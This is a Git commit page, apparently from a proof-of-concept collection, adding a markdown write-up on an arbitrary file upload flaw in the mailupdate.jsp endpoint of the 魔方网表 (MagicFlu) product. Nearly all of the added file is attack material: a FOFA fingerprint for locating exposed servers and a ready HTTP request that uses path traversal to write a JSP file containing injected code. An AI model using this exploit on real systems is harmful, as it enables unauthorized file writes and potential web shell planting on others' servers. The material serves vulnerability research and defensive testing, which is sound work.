admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 魔方网表mailupdate.jsp接口存在任意文件上传漏洞.md

Browse Source
This commit is contained in:
wy876 2024-04-16 08:49:31 +08:00 committed by GitHub
parent 23bf6535f4
commit a1df216a09
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
魔方网表mailupdate.jsp接口存在任意文件上传漏洞.md Normal file
View File

@ -0,0 +1,19 @@
## 魔方网表mailupdate.jsp接口存在任意文件上传漏洞
## fofa
```
icon_hash="694014318"
```
## poc
```
GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test1.jsp&messagecontent=%3C%25+out.println%28%22tteesstt1%22%29%3B%25%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
```